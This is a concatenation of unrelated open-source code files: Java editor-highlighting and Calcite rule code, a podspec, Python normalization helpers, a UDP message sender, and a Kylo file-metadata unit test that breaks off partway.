{ Document doc = pane.getDocument(); String mainMimeType; Object propMimeType = doc.getProperty(PROP_MIME_TYPE); if (propMimeType != null) { mainMimeType = propMimeType.toString(); } else { mainMimeType = pane.getUI().getEditorKit(pane).getContentType(); } return new MimePath [] { MimePath.parse(mainMimeType) }; } private synchronized void rebuildAll() { // Get the new set of mime path MimePath [] mimePaths = getAllDocumentMimePath(); Document lastKnownDocument = lastKnownDocumentRef == null ? null : lastKnownDocumentRef.get(); // Recalculate factories and all containers if needed if (!Utilities.compareObjects(lastKnownDocument, pane.getDocument()) || !Arrays.equals(lastKnownMimePaths, mimePaths) ) { if (LOG.isLoggable(Level.FINE)) { LOG.fine("rebuildAll: lastKnownDocument = " + simpleToString(lastKnownDocument) + //NOI18N ", document = " + simpleToString(pane.getDocument()) + //NOI18N ", lastKnownMimePaths = " + mimePathsToString(lastKnownMimePaths) + //NOI18N ", mimePaths = " + mimePathsToString(mimePaths) + "\n"); //NOI18N } // Unregister listeners if (factories != null && weakFactoriesTracker != null) { factories.removeLookupListener(weakFactoriesTracker); weakFactoriesTracker = null; } if (settings != null && weakSettingsTracker != null) { settings.removeLookupListener(weakSettingsTracker); weakSettingsTracker = null; } if (mimePaths != null) { ArrayList<Lookup> lookups = new ArrayList<Lookup>(); for(MimePath mimePath : mimePaths) { lookups.add(MimeLookup.getLookup(mimePath)); } ProxyLookup lookup = new ProxyLookup(lookups.toArray(new Lookup[lookups.size()])); factories = lookup.lookup(new Lookup.Template<HighlightsLayerFactory>(HighlightsLayerFactory.class)); settings = lookup.lookup(new Lookup.Template<FontColorSettings>(FontColorSettings.class)); } else { factories = null; settings = null; } // Start listening again if (factories != null) { weakFactoriesTracker = WeakListeners.create(LookupListener.class, factoriesTracker, factories); factories.addLookupListener(weakFactoriesTracker); factories.allItems(); // otherwise we won't get any events at all } if (settings != null) { weakSettingsTracker = WeakListeners.create(LookupListener.class, settingsTracker, settings); settings.addLookupListener(weakSettingsTracker); settings.allItems(); // otherwise we won't get any events at all } lastKnownDocument = pane.getDocument(); lastKnownMimePaths = mimePaths; rebuildAllLayers(); } } private void fireChangeListeners() { ChangeEvent evt = new ChangeEvent(manager); for (ChangeListener l : changeListeners) { l.stateChanged(evt); } } synchronized void rebuildAllLayers() { Document doc = pane.getDocument(); if (doc != null) { doc.render(new Runnable() { @Override public void run() { rebuildAllLayersImpl(); } }); } } void rebuildAllLayersImpl() { if (inRebuildAllLayers) { return; } DirectMergeContainer origTopHighlights; DirectMergeContainer origBottomHighlights; inRebuildAllLayers = true; try { Document doc = pane.getDocument(); Collection<? extends HighlightsLayerFactory> all = factories.allInstances(); HashMap<String, HighlightsLayer> layers = new HashMap<String, HighlightsLayer>(); HighlightsLayerFactory.Context context = HighlightingSpiPackageAccessor.get().createFactoryContext(doc, pane); for(HighlightsLayerFactory factory : all) { HighlightsLayer [] factoryLayers = factory.createLayers(context); if (factoryLayers == null) { continue; } for(HighlightsLayer layer : factoryLayers) { HighlightsLayerAccessor layerAccessor = HighlightingSpiPackageAccessor.get().getHighlightsLayerAccessor(layer); String layerTypeId = layerAccessor.getLayerTypeId(); if (!layers.containsKey(layerTypeId)) { layers.put(layerTypeId, layer); } } } // Sort the layers by their z-order try { sortedLayers = HighlightingSpiPackageAccessor.get().sort(layers.values()); } catch (TopologicalSortException tse) { ErrorManager.getDefault().notify(tse); @SuppressWarnings("unchecked") //NOI18N List<? extends HighlightsLayer> sl = (List<? extends HighlightsLayer>)tse.partialSort(); sortedLayers = sl; } // Filter layers by pane's filter - retains order List<? extends HighlightsLayer> origSortedLayers = sortedLayers; sortedLayers = paneFilter.filterLayers(sortedLayers); if (origSortedLayers.size() != sortedLayers.size()) { // Release filtered out layers origSortedLayers = new ArrayList<>(origSortedLayers); origSortedLayers.removeAll(sortedLayers); for (HighlightsLayer layer : origSortedLayers) { HighlightsContainer container = HighlightingSpiPackageAccessor.get().getHighlightsLayerAccessor(layer).getContainer(); if (container instanceof ReleasableHighlightsContainer) { ((ReleasableHighlightsContainer)container).released(); } } } int topStartIndex = 0; for (int i = 0; i < sortedLayers.size(); i++) { HighlightsLayer layer = sortedLayers.get(i); HighlightsLayerAccessor layerAccessor = HighlightingSpiPackageAccessor.get().getHighlightsLayerAccessor(layer); if (!layerAccessor.isFixedSize()) { topStartIndex = i + 1; // Top layers can only be above this one } } // Get the containers ArrayList<HighlightsContainer> layerContainers = new ArrayList<HighlightsContainer>(); for(HighlightsLayer layer : sortedLayers) { HighlightsLayerAccessor layerAccessor = HighlightingSpiPackageAccessor.get().getHighlightsLayerAccessor(layer); layerContainers.add(layerAccessor.getContainer()); } List<? extends HighlightsContainer> bottomContainers = layerContainers.subList(0, topStartIndex); List<? extends HighlightsContainer> topContainers = layerContainers.subList(topStartIndex, sortedLayers.size()); if (LOG.isLoggable(Level.FINER)) { StringBuilder sb = new StringBuilder(300); dumpInfo(sb, doc, lastKnownMimePaths); dumpLayers(sb, "Bottom", sortedLayers.subList(0, topStartIndex)); dumpLayers(sb, "Top", sortedLayers.subList(topStartIndex, sortedLayers.size())); LOG.finer(sb.toString()); } if (testSingleContainer != null) { // Use just the one single container bottomContainers = Collections.singletonList(testSingleContainer); topContainers = Collections.emptyList(); } origBottomHighlights = bottomHighlights; origTopHighlights = topHighlights; bottomHighlights = new DirectMergeContainer(bottomContainers.toArray( new HighlightsContainer[bottomContainers.size()]), true); topHighlights = new DirectMergeContainer(topContainers.toArray( new HighlightsContainer[topContainers.size()]), true); } finally { inRebuildAllLayers = false; } if (origBottomHighlights != null) { origBottomHighlights.released(); } if (origTopHighlights != null) { origTopHighlights.released(); } fireChangeListeners(); } private static void dumpInfo(StringBuilder sb, Document doc, MimePath [] mimePaths) { sb.append(" HighlighsLayers:\n"); //NOI18N sb.append(" * document : "); //NOI18N sb.append(doc.getClass().getName()).append('@').append(Integer.toHexString(System.identityHashCode(doc))); Object streamDescriptor = doc.getProperty(Document.StreamDescriptionProperty); sb.append(" [").append(streamDescriptor == null ? "no stream descriptor" : streamDescriptor.toString()).append(']'); sb.append("\n"); //NOI18N sb.append(" * mime paths : \n"); //NOI18N for(MimePath mimePath : mimePaths) { sb.append(" "); //NOI18N sb.append(mimePath.getPath()); sb.append("\n"); //NOI18N } } private static void dumpLayers(StringBuilder sb, String prefix, List<? extends HighlightsLayer> layers) { sb.append(prefix).append(" layers:\n"); //NOI18N int digitCount = ArrayUtilities.digitCount(layers.size()); for (int i = 0; i < layers.size(); i++) { HighlightsLayer layer = layers.get(i); HighlightsLayerAccessor layerAccessor = HighlightingSpiPackageAccessor.get().getHighlightsLayerAccessor(layer); sb.append(" "); ArrayUtilities.appendBracketedIndex(sb, i, digitCount); sb.append(layerAccessor.getLayerTypeId()); sb.append('['); //NOI18N sb.append(layerAccessor.getZOrder().toString()); //NOI18N sb.append(layerAccessor.isFixedSize() ? ",Fixed" : ",NonFixed"); sb.append(']'); //NOI18N sb.append('@'); //NOI18N sb.append(Integer.toHexString(System.identityHashCode(layer))); sb.append("\n"); //NOI18N } } } // End of Highlighting class private static final class RegExpFilter implements HighlightsLayerFilter { private final List<Pattern> includes; private final List<Pattern> excludes; public RegExpFilter(Object includes, Object excludes) { this.includes = buildPatterns(includes); this.excludes = buildPatterns(excludes); } @Override public List<? extends HighlightsLayer> filterLayers(List<? extends HighlightsLayer> layers) { List<? extends HighlightsLayer> includedLayers; if (includes.isEmpty()) { includedLayers = layers; } else { includedLayers = filter(layers, includes, true); } List<? extends HighlightsLayer> filteredLayers; if (excludes.isEmpty()) { filteredLayers = includedLayers; } else { filteredLayers = filter(includedLayers, excludes, false); } return filteredLayers; } private static List<? extends HighlightsLayer> filter( List<? extends HighlightsLayer> layers, List<Pattern> patterns, boolean includeMatches // true means include matching layers, false means include non-matching layers ) { List<HighlightsLayer> filtered = new ArrayList<HighlightsLayer>(); for(HighlightsLayer layer : layers) { HighlightsLayerAccessor layerAccessor = HighlightingSpiPackageAccessor.get().getHighlightsLayerAccessor(layer); boolean matchesExcludes = false; for(Pattern pattern : patterns) { boolean matches = pattern.matcher(layerAccessor.getLayerTypeId()).matches(); if (matches && includeMatches) { filtered.add(layer); } matchesExcludes = matches ? true : matchesExcludes; } if (!patterns.isEmpty() && !matchesExcludes && !includeMatches) { filtered.add(layer); } } return filtered; } private static List<Pattern> buildPatterns(Object expressions) { List<Pattern> patterns = new ArrayList<Pattern>(); if (expressions instanceof String) { try { patterns.add(Pattern.compile((String) expressions)); } catch (PatternSyntaxException e) { LOG.log(Level.WARNING, "Ignoring invalid regexp for the HighlightsLayer filtering.", e); //NOI18N } } else if (expressions instanceof String[]) { for(String expression : (String []) expressions) { try { patterns.add(Pattern.compile(expression)); } catch (PatternSyntaxException e) { LOG.log(Level.WARNING, "Ignoring invalid regexp for the HighlightsLayer filtering.", e); //NOI18N } } } return patterns; } } // End of RegExpFilter class private static String simpleToString(Object o) { return o == null ? "null" : o.getClass().getName() + "@" + Integer.toHexString(System.identityHashCode(o)); //NOI18N } private static String mimePathsToString(MimePath... mimePaths) { if (mimePaths == null) { return "null"; } else { StringBuilder sb = new StringBuilder(); sb.append('{'); //NOI18N for(MimePath mp : mimePaths) { sb.append('\'').append(mp.getPath()).append('\''); //NOI18N sb.append(","); //NOI81N } sb.append('}'); //NOI18N return sb.toString(); } } }
11,872
1,979
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to you under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.qihoo.qsql.org.apache.calcite.plan; import com.qihoo.qsql.org.apache.calcite.adapter.enumerable.EnumerableRules; import com.qihoo.qsql.org.apache.calcite.config.CalciteSystemProperty; import com.qihoo.qsql.org.apache.calcite.interpreter.NoneToBindableConverterRule; import com.qihoo.qsql.org.apache.calcite.linq4j.function.Experimental; import com.qihoo.qsql.org.apache.calcite.plan.volcano.AbstractConverter; import com.qihoo.qsql.org.apache.calcite.rel.rules.AbstractMaterializedViewRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.AggregateCaseToFilterRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.AggregateExpandDistinctAggregatesRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.AggregateJoinTransposeRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.AggregateMergeRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.AggregateProjectMergeRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.AggregateProjectPullUpConstantsRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.AggregateReduceFunctionsRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.AggregateRemoveRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.AggregateStarTableRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.AggregateValuesRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.CalcMergeRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.CalcRemoveRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.DateRangeRules; import com.qihoo.qsql.org.apache.calcite.rel.rules.ExchangeRemoveConstantKeysRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.FilterAggregateTransposeRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.FilterCalcMergeRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.FilterJoinRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.FilterMergeRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.FilterProjectTransposeRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.FilterTableScanRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.FilterToCalcRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.IntersectToDistinctRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.JoinAssociateRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.JoinCommuteRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.JoinPushExpressionsRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.JoinPushThroughJoinRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.MatchRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.MaterializedViewFilterScanRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.ProjectCalcMergeRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.ProjectFilterTransposeRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.ProjectMergeRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.ProjectRemoveRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.ProjectToCalcRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.ProjectToWindowRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.ProjectWindowTransposeRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.PruneEmptyRules; import com.qihoo.qsql.org.apache.calcite.rel.rules.ReduceExpressionsRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.SemiJoinRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.SortJoinTransposeRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.SortProjectTransposeRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.SortRemoveConstantKeysRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.SortRemoveRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.SortUnionTransposeRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.TableScanRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.UnionMergeRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.UnionPullUpConstantsRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.UnionToDistinctRule; import com.qihoo.qsql.org.apache.calcite.rel.rules.ValuesReduceRule; import com.google.common.collect.ImmutableList; import java.util.List; /** * A utility class for organizing built-in rules and rule related * methods. Currently some rule sets are package private for serving core Calcite. * * @see RelOptRule * @see RelOptUtil */ @Experimental public class RelOptRules { private RelOptRules() { } /** * The calc rule set is public for use from {@link com.qihoo.qsql.org.apache.calcite.tools.Programs} */ public static final ImmutableList<RelOptRule> CALC_RULES = ImmutableList.of( NoneToBindableConverterRule.INSTANCE, EnumerableRules.ENUMERABLE_CALC_RULE, EnumerableRules.ENUMERABLE_FILTER_TO_CALC_RULE, EnumerableRules.ENUMERABLE_PROJECT_TO_CALC_RULE, CalcMergeRule.INSTANCE, FilterCalcMergeRule.INSTANCE, ProjectCalcMergeRule.INSTANCE, FilterToCalcRule.INSTANCE, ProjectToCalcRule.INSTANCE, CalcMergeRule.INSTANCE, // REVIEW jvs 9-Apr-2006: Do we still need these two? Doesn't the // combination of CalcMergeRule, FilterToCalcRule, and // ProjectToCalcRule have the same effect? FilterCalcMergeRule.INSTANCE, ProjectCalcMergeRule.INSTANCE); static final List<RelOptRule> BASE_RULES = ImmutableList.of( AggregateStarTableRule.INSTANCE, AggregateStarTableRule.INSTANCE2, TableScanRule.INSTANCE, CalciteSystemProperty.COMMUTE.value() ? JoinAssociateRule.INSTANCE : ProjectMergeRule.INSTANCE, FilterTableScanRule.INSTANCE, ProjectFilterTransposeRule.INSTANCE, FilterProjectTransposeRule.INSTANCE, FilterJoinRule.FILTER_ON_JOIN, JoinPushExpressionsRule.INSTANCE, AggregateExpandDistinctAggregatesRule.INSTANCE, AggregateCaseToFilterRule.INSTANCE, AggregateReduceFunctionsRule.INSTANCE, FilterAggregateTransposeRule.INSTANCE, ProjectWindowTransposeRule.INSTANCE, MatchRule.INSTANCE, JoinCommuteRule.INSTANCE, JoinPushThroughJoinRule.RIGHT, JoinPushThroughJoinRule.LEFT, SortProjectTransposeRule.INSTANCE, SortJoinTransposeRule.INSTANCE, SortRemoveConstantKeysRule.INSTANCE, SortUnionTransposeRule.INSTANCE, ExchangeRemoveConstantKeysRule.EXCHANGE_INSTANCE, ExchangeRemoveConstantKeysRule.SORT_EXCHANGE_INSTANCE); static final List<RelOptRule> ABSTRACT_RULES = ImmutableList.of( AggregateProjectPullUpConstantsRule.INSTANCE2, UnionPullUpConstantsRule.INSTANCE, PruneEmptyRules.UNION_INSTANCE, PruneEmptyRules.INTERSECT_INSTANCE, PruneEmptyRules.MINUS_INSTANCE, PruneEmptyRules.PROJECT_INSTANCE, PruneEmptyRules.FILTER_INSTANCE, PruneEmptyRules.SORT_INSTANCE, PruneEmptyRules.AGGREGATE_INSTANCE, PruneEmptyRules.JOIN_LEFT_INSTANCE, PruneEmptyRules.JOIN_RIGHT_INSTANCE, PruneEmptyRules.SORT_FETCH_ZERO_INSTANCE, UnionMergeRule.INSTANCE, UnionMergeRule.INTERSECT_INSTANCE, UnionMergeRule.MINUS_INSTANCE, ProjectToWindowRule.PROJECT, FilterMergeRule.INSTANCE, DateRangeRules.FILTER_INSTANCE, IntersectToDistinctRule.INSTANCE); static final List<RelOptRule> ABSTRACT_RELATIONAL_RULES = ImmutableList.of( FilterJoinRule.FILTER_ON_JOIN, FilterJoinRule.JOIN, AbstractConverter.ExpandConversionRule.INSTANCE, JoinCommuteRule.INSTANCE, SemiJoinRule.PROJECT, SemiJoinRule.JOIN, AggregateRemoveRule.INSTANCE, UnionToDistinctRule.INSTANCE, ProjectRemoveRule.INSTANCE, AggregateJoinTransposeRule.INSTANCE, AggregateMergeRule.INSTANCE, AggregateProjectMergeRule.INSTANCE, CalcRemoveRule.INSTANCE, SortRemoveRule.INSTANCE); static final List<RelOptRule> CONSTANT_REDUCTION_RULES = ImmutableList.of( ReduceExpressionsRule.PROJECT_INSTANCE, ReduceExpressionsRule.FILTER_INSTANCE, ReduceExpressionsRule.CALC_INSTANCE, ReduceExpressionsRule.WINDOW_INSTANCE, ReduceExpressionsRule.JOIN_INSTANCE, ValuesReduceRule.FILTER_INSTANCE, ValuesReduceRule.PROJECT_FILTER_INSTANCE, ValuesReduceRule.PROJECT_INSTANCE, AggregateValuesRule.INSTANCE); static final List<RelOptRule> MATERIALIZATION_RULES = ImmutableList.of( MaterializedViewFilterScanRule.INSTANCE, AbstractMaterializedViewRule.INSTANCE_PROJECT_FILTER, AbstractMaterializedViewRule.INSTANCE_FILTER, AbstractMaterializedViewRule.INSTANCE_PROJECT_JOIN, AbstractMaterializedViewRule.INSTANCE_JOIN, AbstractMaterializedViewRule.INSTANCE_PROJECT_AGGREGATE, AbstractMaterializedViewRule.INSTANCE_AGGREGATE); } // End RelOptRules.java
3,681
5,169
{ "name": "PDGradientMeterView", "version": "0.1.0", "summary": "A simple iOS slider with a three colors gradient.", "description": "A simple iOS slider with a three colour gradient.\nThe indicator is customizable with your custom view.", "homepage": "https://github.com/PiDyGB/PDGradientMeterView", "license": "Apache 2.0", "authors": { "<NAME> (PiDy)": "<EMAIL>" }, "source": { "git": "https://github.com/PiDyGB/PDGradientMeterView.git", "tag": "0.1.0" }, "social_media_url": "https://plus.google.com/u/0/+GiuseppeBuzzanca", "platforms": { "ios": "8.0" }, "requires_arc": true, "source_files": "Pod/Classes/**/*", "resource_bundles": { "PDGradientMeterView": [ "Pod/Assets/*.png" ] } }
306
335
<filename>axcell/models/linking/utils.py # Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved from unidecode import unidecode import re # cleaning & normalization parens_re = re.compile(r"\([^)]*?\)|\[[^]]*?\]") strip_nonalnum_re = re.compile(r"^\W*(\w.*\b)\W*$") def strip_nonalnum(s): m = strip_nonalnum_re.match(s) if m: return m.group(1) return "" def remove_parens(text): return parens_re.sub("", text) def clean_name(name): return remove_parens(unidecode(name).strip()).strip() def clean_cell(cell): return strip_nonalnum(clean_name(cell)) year_2k_re = re.compile(r"20(\d\d)") hyphens_re = re.compile(r"[-_'`–’→]") ws_re = re.compile(r"\s+") refs_re = re.compile(r"(xxtable-)?xxanchor-[^ ]*|xxref-[^ ]*") def remove_references(s): return refs_re.sub("", s) def normalize_dataset_ws(name): name = remove_references(name) name = hyphens_re.sub(" ", name) name = year_2k_re.sub(r"\1", name) name = ws_re.sub(" ", name) return unidecode(name.strip().lower()) def normalize_dataset(name): name = remove_references(name) name = year_2k_re.sub(r"\1", name) name = hyphens_re.sub("", name) name = ws_re.sub(" ", name) return unidecode(name.strip().lower()) def normalize_cell(s): return unidecode("".join([x for x in s if x.isalnum()])) def normalize_cell_ws(s): return unidecode("".join([x for x in s if x.isalnum() or x.isspace()])) # end of cleaning & normalization
650
452
<reponame>wuchunfu/go-fastdfs-web package com.perfree.service; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import com.github.pagehelper.PageHelper; import com.github.pagehelper.PageInfo; import com.perfree.common.PageResult; import com.perfree.mapper.PeersMapper; import com.perfree.model.Peers; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import java.util.Date; import java.util.List; /** * @author Perfree * @description Peers集群表, 逻辑处理 * @date 2021/3/22 15:00 */ @Service public class PeersService extends ServiceImpl<PeersMapper, Peers> { @Autowired private PeersMapper peersMapper; public PageResult<Peers> listPage(int page, int limit) { PageResult<Peers> result = new PageResult<>(); PageHelper.startPage(page, limit); List<Peers> allPeers = list(); PageInfo<Peers> pageInfo = new PageInfo<>(allPeers); result.setTotal(pageInfo.getTotal()); result.setState(200); result.setData(pageInfo.getList()); return result; } /** * 检查集群是否已存在 * * @param serverAddress serverAddress * @return boolean */ public boolean checkPeers(String serverAddress) { QueryWrapper<Peers> queryWrapper = new QueryWrapper<>(); queryWrapper.eq("serverAddress", serverAddress); return peersMapper.selectCount(queryWrapper) > 0; } /** * 新增集群 * * @param peers peers * @return boolean */ public boolean addPeers(Peers peers) { peers.setCreateTime(new Date()); return peersMapper.insert(peers) > 0; } /** * 根据id删除集群 * * @param id id * @return boolean */ public boolean delPeersById(int id) { return peersMapper.deleteById(id) > 0; } }
822
2,167
import com.osohq.oso.*; public class TestContext { public static Oso setupOso() throws Exception { Oso oso = new Oso(); oso.registerClass(Env.class); return oso; } public static void testPolicy() throws Exception { Oso oso = setupOso(); oso.loadFile("../01-context.polar"); if (!oso.isAllowed("steve", "test", "policy")) { throw new Exception("test context failed!"); } } public static void main(String[] args) throws Exception { testPolicy(); System.out.println("Context tests pass!"); } }
198
1,227
#!/usr/bin/env python3 import socket import sys HOST = sys.argv[1] PORT = int(sys.argv[2]) MESSAGE = sys.argv[3] sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(MESSAGE.encode(), (HOST, PORT))
101
4,234
#pragma once #include <mbgl/style/expression/expression.hpp> #include <mbgl/util/color.hpp> namespace mbgl { namespace style { namespace expression { namespace dsl { std::unique_ptr<Expression> compound(const char* op, std::vector<std::unique_ptr<Expression>> args); template <class... Args> std::unique_ptr<Expression> compound(const char* op, Args&&... args) { return compound(op, vec(std::forward<Args>(args)...)); } } // namespace dsl } // namespace expression } // namespace style } // namespace mbgl
173
1,577
from rastervision.pipeline.pipeline import Pipeline from rastervision.pytorch_learner import LearnerConfig class LearnerPipeline(Pipeline): """Simple Pipeline that is a wrapper around Learner.main() This supports the ability to use the pytorch_learner package to train models using the RV pipeline package and its runner functionality without the rest of RV. """ commands = ['train'] gpu_commands = ['train'] def train(self): learner_cfg: LearnerConfig = self.config.learner learner = learner_cfg.build(learner_cfg, self.tmp_dir) learner.main()
202
1,016
<gh_stars>1000+ package com.thinkbiganalytics.spark.rest.test; /*- * #%L * kylo-spark-shell-controller * %% * Copyright (C) 2017 ThinkBig Analytics * %% * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * #L% */ import com.google.common.util.concurrent.Uninterruptibles; import com.thinkbiganalytics.discovery.model.DefaultQueryResultColumn; import com.thinkbiganalytics.discovery.schema.QueryResultColumn; import com.thinkbiganalytics.spark.rest.filemetadata.FileMetadataTransformResponseModifier; import com.thinkbiganalytics.spark.rest.filemetadata.tasks.FileMetadataTaskService; import com.thinkbiganalytics.spark.rest.filemetadata.tasks.FileMetadataCompletionTask; import com.thinkbiganalytics.spark.rest.controller.SparkShellUserProcessService; import com.thinkbiganalytics.spark.rest.model.FileMetadataResponse; import com.thinkbiganalytics.spark.rest.model.ModifiedTransformResponse; import com.thinkbiganalytics.spark.rest.model.TransformQueryResult; import com.thinkbiganalytics.spark.rest.model.TransformRequest; import com.thinkbiganalytics.spark.rest.model.TransformResponse; import com.thinkbiganalytics.spark.shell.SparkShellProcess; import com.thinkbiganalytics.spark.shell.SparkShellRestClient; import org.junit.Assert; import org.junit.Test; import org.mockito.Mock; import org.mockito.Mockito; import org.mockito.invocation.InvocationOnMock; import org.mockito.stubbing.Answer; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import java.util.ArrayList; import java.util.HashMap; import java.util.LinkedList; import java.util.List; import java.util.Map; import java.util.Optional; import java.util.UUID; import java.util.concurrent.TimeUnit; import java.util.concurrent.atomic.AtomicInteger; import javax.annotation.Nonnull; public class FileMetadataTest { private static final Logger log = LoggerFactory.getLogger(FileMetadataTest.class); @Mock private FileMetadataTaskService trackerService; @Mock private SparkShellUserProcessService sparkShellUserProcessService; @Mock private SparkShellProcess sparkShellProcess; @Mock private SparkShellRestClient restClient; private Map<String,AtomicInteger> requestTracker = new HashMap<>(); private boolean isComplete = false; private void setup(){ this.trackerService = Mockito.spy(new FileMetadataTaskService()); this.sparkShellUserProcessService = new MockSparkShellUserProcessService("tester"); trackerService.setSparkShellUserProcessService(this.sparkShellUserProcessService); restClient = Mockito.mock(SparkShellRestClient.class); trackerService.setRestClient(restClient); Mockito.doReturn("tester").when(this.trackerService).getUsername(); // Mockito.doCallRealMethod().when(this.trackerService).runScript(Mockito.any(ModifiedTransformResponse.class),Mockito.any()); //Mockito.doCallRealMethod().when(this.trackerService).get(Mockito.anyString()); //Mockito.doCallRealMethod().when(this.trackerService).removeFromCache(Mockito.anyString()); Mockito.when(restClient.transform(Mockito.any(), Mockito.any())).then(new Answer<Object>() { @Override public Object answer(InvocationOnMock invocationOnMock) throws Throwable { TransformRequest r = invocationOnMock.getArgumentAt(1,TransformRequest.class); TransformResponse response = new TransformResponse(); response.setStatus(TransformResponse.Status.PENDING); response.setTable(UUID.randomUUID().toString()); requestTracker.put(response.getTable(),new AtomicInteger(3)); return response; } }); Mockito.when(restClient.getTransformResult(Mockito.any(), Mockito.any())).then(new Answer<Object>() { @Override public Object answer(InvocationOnMock invocationOnMock) throws Throwable { String tableId = invocationOnMock.getArgumentAt(1,String.class); AtomicInteger i = requestTracker.get(tableId); if(i != null){ int i1 = i.decrementAndGet(); if(i1 == 0){ TransformResponse response = new TransformResponse(); response.setStatus(TransformResponse.Status.SUCCESS); response.setTable(tableId); response.setResults(headerResult()); //add in the successful results // requestTracker.remove(tableId); return Optional.of(response); }else { //return pending TransformResponse response = new TransformResponse(); response.setTable(tableId); response.setStatus(TransformResponse.Status.PENDING); return Optional.of(response); } } FileMetadataCompletionTask finalResult = trackerService.get(tableId); if(finalResult != null){ return Optional.of(finalResult.getModifiedTransformResponse()); } else { //return pending TransformResponse response = new TransformResponse(); response.setStatus(TransformResponse.Status.PENDING); response.setTable(tableId); requestTracker.put(response.getTable(), new AtomicInteger(3)); return Optional.of(response); } }; }); } public TransformQueryResult headerResult(){ TransformQueryResult result = new TransformQueryResult(); List<QueryResultColumn> columnList = new ArrayList<>(); columnList.add(newColumn("mimeType")); columnList.add(newColumn("resource")); columnList.add(newColumn("schema")); result.setColumns(columnList); List<List<Object>> rows = new ArrayList<>(); Map<String,String>props = new HashMap<>(); props.put("col1","string"); props.put("col2","int"); rows.add(newSchemaHeaderRow("application/parquet","file://0001.parquet",props)); rows.add(newSchemaHeaderRow("application/parquet","file://0002.parquet",props)); result.setRows(rows); return result; } public List<Object> newSchemaHeaderRow(String mimeType, String file, Map<String,String> properties){ List<Object> row = new LinkedList<>(); row.add(mimeType); row.add(file); row.add(properties); return row; } public QueryResultColumn newColumn(String field){ QueryResultColumn column = new DefaultQueryResultColumn(); column.setField(field); column.setHiveColumnLabel(field); return column; } public List<Object> row(String mimeType,String delimiter, Integer headerCount, String file, String encoding, Map<String,String> properties){ List<Object> row = new LinkedList<>(); row.add(mimeType); row.add(delimiter); row.add(headerCount); row.add(file); row.add(encoding); row.add(properties); return row; } public List<Object> newtRow(String mimeType,String file){ return row(mimeType,"",0,file,"ISO",new HashMap<>()); } @Test public void testChainedResult(){ setup(); TransformResponse initialResponse = new TransformResponse(); initialResponse.setStatus(TransformResponse.Status.SUCCESS); TransformQueryResult result = new TransformQueryResult(); List<QueryResultColumn> columnList = new ArrayList<>(); columnList.add(newColumn("mimeType")); columnList.add(newColumn("delimiter")); columnList.add(newColumn("headerCount")); columnList.add(newColumn("resource")); columnList.add(newColumn("encoding")); result.setColumns(columnList); List<List<Object>> rows = new ArrayList<>(); rows.add(newtRow("application/parquet","file://my/parquet001.parquet")); rows.add(newtRow("application/parquet","file://my/parquet002.parquet")); rows.add(newtRow("application/parquet","file://my/parquet003.parquet")); rows.add(newtRow("application/avro","file://my/avro001.avro")); rows.add(newtRow("application/avro","file://my/avro002.avro")); rows.add(newtRow("text/csv","file://my/test001.csv")); rows.add(newtRow("text/csv","file://my/test002.csv")); result.setRows(rows); initialResponse.setResults(result); 